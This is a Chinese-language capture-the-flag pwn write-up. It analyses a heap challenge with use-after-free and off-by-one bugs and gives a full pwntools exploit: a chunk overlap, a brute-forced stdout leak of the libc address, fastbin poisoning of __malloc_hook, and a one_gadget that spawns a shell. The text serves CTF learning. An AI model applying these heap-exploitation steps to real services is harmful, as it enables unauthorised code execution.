1. ida分析
存在uaf 和 off by one,可以实现任意地址写 没有show函数,且保护全开,不能修改got表
2. 思路
使用stdout
爆破,泄漏libc 先申请几个chunk,通过off by one,构造chunk lapping 再通过uaf修改fd,构成任意地址写 注意点就是,想法设法构造chunk复用 uaf + off by one
总结一下就是,先del构造fastbin,再改chunk head构造unstored bin,再申请一个不是fastbin大小的chunk覆盖fastbin,修改fastbin的fd造成任意地址写
3. exp
from pwn import *
from LibcSearcher import *
s = lambda data : sh. send( data)
sa = lambda delim, data : sh. sendafter( delim, data)
sl = lambda data : sh. sendline( data)
sla = lambda delim, data : sh. sendlineafter( delim, data)
r = lambda numb= 4096 : sh. recv( numb)
ru = lambda delims, drop= False : sh. recvuntil( delims, drop)
rl = lambda : sh. recvline( )
irt = lambda : sh. interactive( )
pinfo = lambda name, addr : log. success( '{} : {:#x}' . format ( name, addr) )
context( log_level = 'debug' , arch = 'amd64' )
elf = ELF( './pwn' )
DEBUG = 1
if DEBUG:
libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' )
sh = process( './pwn' )
else :
IP = '47.104.175.110'
PORT = '20066'
libc = ELF( './libc.so.6' )
sh = remote( IP, PORT)
def add ( idx, size) :
sla( '>> ' , '1' )
sla( 'index:' , str ( idx) )
sla( 'size:' , str ( size) )
def dele ( idx) :
sla( '>> ' , '2' )
sla( 'index:' , str ( idx) )
def edit ( idx, con) :
sla( '>> ' , '3' )
sla( 'index:' , str ( idx) )
sa( 'context:' , con)
def debug ( ) :
gdb. attach( sh)
pause( )
def pwn ( ) :
add( 0 , 0x18 )
add( 1 , 0x68 )
add( 2 , 0x68 )
add( 3 , 0x10 )
dele( 1 )
edit( 0 , 'a' * 0x18 + '\xe1' )
dele( 1 )
add( 1 , 1 )
edit( 1 , '\xdd\x25' )
edit( 0 , 'a' * 0x18 + '\x71' )
add( 4 , 0x68 )
add( 5 , 0x68 )
edit( 5 , 'a' * 0x33 + p64( 0xfbad1800 ) + p64( 0 ) * 3 + p8( 0x58 ) + '\n' )
stdout = u64( ru( '\x7f' ) [ - 6 : ] . ljust( 8 , '\x00' ) ) - 131
libc. address = stdout - libc. sym[ '_IO_2_1_stdout_' ]
pinfo( "libc.address" , libc. address)
dele( 2 )
add( 6 , 0xb0 )
edit( 6 , 'a' * 0x48 + p64( 0x71 ) + p64( libc. sym[ '__malloc_hook' ] - 0x23 ) * 2 + '\n' )
add( 7 , 0x60 )
add( 7 , 0x60 )
edit( 7 , 'a' * 0xb + p64( libc. address + 0x4527a ) + p64( libc. sym[ 'realloc' ] + 11 ) + '\n' )
debug( )
add( 8 , 0x88 )
irt( )
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
if __name__ == '__main__' :
while True :
try :
pwn( )
except EOFError as e:
print ( "error,try again." )
sh. close( )
sh = process( './pwn' )